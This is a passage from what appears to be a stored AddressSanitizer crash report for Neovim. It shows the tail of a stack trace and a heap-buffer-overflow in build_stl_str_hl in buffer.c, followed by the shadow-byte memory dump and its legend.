/home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #23 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #24 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #25 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #26 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #27 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #28 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #29 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3591:32 in build_stl_str_hl\nShadow bytes around the buggy address:\n  0x0c047ffff1a0: fa fa 02 fa fa fa 07 fa fa fa 02 fa fa fa 00 03\n  0x0c047ffff1b0: fa fa 00 fa fa fa 05 fa fa fa 01 fa fa fa 01 fa\n  0x0c047ffff1c0: fa fa 01 fa fa fa 01 fa fa fa 00 07 fa fa fd fa\n  0x0c047ffff1d0: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa fd fa\n  0x0c047ffff1e0: fa fa fd fa fa fa 05 fa fa fa fd fa fa fa fd fa\n=>0x0c047ffff1f0: fa fa 01 fa fa fa[05]fa fa fa 00 03 fa fa fa fa\n  0x0c047ffff200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==22687==ABORTING\n", "creation_timestamp": "2026-09-21T07:23:17.732210Z"}